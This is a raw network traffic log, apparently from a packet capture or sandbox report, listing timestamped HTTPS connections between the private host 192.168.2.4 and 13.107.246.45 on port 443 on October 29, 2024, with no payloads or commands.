Oct 29, 2024 20:38:24.115405083 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.115405083 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.115426064 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.115438938 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.346690893 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.393423080 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.413841963 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.417351007 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.440960884 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.440977097 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.441473007 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.441478014 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.441951036 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.441973925 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.442404985 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.442431927 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.442440033 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.442452908 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.442837000 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.442848921 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.452090025 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.452470064 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.452502012 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.452869892 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.452876091 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.488920927 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.489377975 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.489408016 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.489845991 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.489855051 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.568732977 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.568770885 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.568829060 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.568906069 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569011927 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.569027901 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569042921 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.569099903 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.569145918 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569145918 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569278955 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569278955 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.569300890 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.569312096 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.570614100 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.570687056 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.570744038 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.573334932 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.573354006 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.573365927 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.573373079 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.574094057 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.574094057 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.574109077 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.574119091 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.589199066 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.590012074 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.590054035 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.590213060 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.590214014 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.591353893 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.591393948 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.591545105 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.609532118 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.609574080 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.609599113 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.609606981 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.624758005 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.624778986 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.625227928 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.625394106 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.625468969 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.625749111 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.625802040 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.626023054 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626211882 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626235008 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.626663923 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626687050 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.626740932 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626856089 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626864910 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.626913071 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.626940966 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.627007961 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.850284100 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.850322008 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.853013992 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.853055954 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.897739887 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.897802114 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.897871017 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.905941963 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.905968904 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.366091013 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.366612911 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.366682053 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.367160082 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.367178917 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.373110056 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.373589039 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.373610973 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.374027014 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.374032021 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.421618938 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.471362114 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.486116886 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.486126900 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.487699032 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.487703085 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.498150110 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.498198032 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.498246908 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.498296976 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.498554945 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.498579025 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.498666048 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.498672962 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.505382061 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.505481958 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.505749941 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.505922079 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.505937099 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.505949020 CET	49918	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.505954027 CET	443	49918	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.596832991 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.607356071 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.607467890 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.607587099 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.608577013 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.608663082 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.609054089 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.609088898 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.623245001 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.623281002 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.628386974 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.628442049 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.628565073 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.628756046 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.628774881 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.648541927 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.649044991 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.649072886 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.649499893 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.649507999 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.736680984 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.736706972 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.736747026 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.736778021 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.736843109 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.769850016 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.769850969 CET	49919	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.769937038 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.769970894 CET	443	49919	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.777295113 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.777441978 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.777580976 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.784622908 CET	49920	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.784651041 CET	443	49920	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.789001942 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.789093018 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.789175987 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.791071892 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.791106939 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.801873922 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.801903963 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:25.802190065 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.802308083 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:25.802318096 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.083475113 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.083494902 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.083573103 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.083589077 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.083842993 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.083849907 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.083863974 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.084013939 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.084042072 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.084086895 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.087816954 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.087861061 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.088089943 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.088387966 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.088404894 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.358778000 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.359278917 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.359311104 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.359785080 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.359791994 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.364232063 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.364737034 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.364799976 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.365232944 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.365252018 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.490139961 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.490344048 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.490396976 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.490395069 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.490448952 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.495721102 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.496229887 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.496314049 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.506362915 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.506424904 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.506459951 CET	49921	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.506480932 CET	443	49921	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.508233070 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.508266926 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.508284092 CET	49922	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.508294106 CET	443	49922	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.512945890 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.512983084 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.513068914 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.514456034 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.514491081 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.514631987 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.514632940 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.514645100 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.514718056 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.514729977 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.536204100 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.538183928 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.538258076 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.538711071 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.538733959 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.549194098 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.549757004 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.549772978 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.550427914 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.550432920 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.668930054 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.669008970 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.669296026 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.679660082 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.679758072 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.679858923 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.679922104 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.680016041 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.685359001 CET	49923	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.685415983 CET	443	49923	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.686964989 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.686964989 CET	49924	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.686985970 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.686991930 CET	443	49924	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.724180937 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.724235058 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.724543095 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.726156950 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.726186037 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.727639914 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.727693081 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.727783918 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.727960110 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.727982044 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.822107077 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.877351999 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.877372980 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:26.878021002 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:26.878025055 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.002857924 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.002947092 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.003032923 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.003559113 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.003583908 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.003595114 CET	49925	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.003602982 CET	443	49925	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.007391930 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.007438898 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.007713079 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.007910967 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.007926941 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.457566023 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.458070040 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.458089113 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.458529949 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.458534956 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.463102102 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.463516951 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.463529110 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.463745117 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.463895082 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.463898897 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.464226007 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.464258909 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.464692116 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.464698076 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.478307009 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.478825092 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.478837967 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.479336023 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.479353905 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.589118004 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.589303970 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.589488029 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.590214014 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.590240955 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.590253115 CET	49927	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.590260029 CET	443	49927	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.591041088 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.591612101 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.591871977 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.592111111 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.592128038 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.592186928 CET	49929	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.592194080 CET	443	49929	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.595603943 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.595642090 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.595716000 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.596849918 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.597135067 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.597187042 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.597213984 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.597254992 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.597516060 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.597556114 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.597609997 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.597965002 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.597975016 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.598097086 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.598114967 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.598584890 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.598613977 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.598624945 CET	49926	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.598629951 CET	443	49926	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.600953102 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.601051092 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.601126909 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.601248026 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.601281881 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.612498999 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.612580061 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.612644911 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.612838984 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.612858057 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.612868071 CET	49928	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.612874985 CET	443	49928	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.616409063 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.616430044 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.616485119 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.616789103 CET	49934	443	192.168.2.4	13.107.246.45
